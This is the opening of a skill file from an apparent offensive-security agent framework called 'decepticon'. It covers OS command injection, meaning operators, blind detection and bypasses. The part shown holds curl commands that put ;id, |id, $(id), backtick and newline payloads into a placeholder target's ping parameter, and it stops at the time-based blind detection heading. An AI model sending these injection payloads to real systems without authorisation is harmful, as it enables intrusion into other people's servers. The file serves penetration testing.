Individual skill

exploit-command-injection

OS Command Injection — exploiting applications that pass user input to OS commands without sanitization. Covers injection operators (;, |, ||, &&, $(), backticks, newline), blind detection (time-based, OOB callback), and bypass techniques (space, keyword, encoding).

packages/decepticon/decepticon/skills/standard/exploit/web/command-injection/SKILL.md

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Nov 7, 2026
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Apache-2.0

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# OS Command Injection

Exploits applications that pass user input to OS commands without sanitization.

## Detection
```bash
# Basic tests
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' -o cmdi_semicolon.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1|id' -o cmdi_pipe.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1$(id)' -o cmdi_subshell.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1`id`' -o cmdi_backtick.txt
curl -s 'https://<TARGET>/ping?host=127.0.0.1%0aid' -o cmdi_newline.txt

# Blind detection — time-based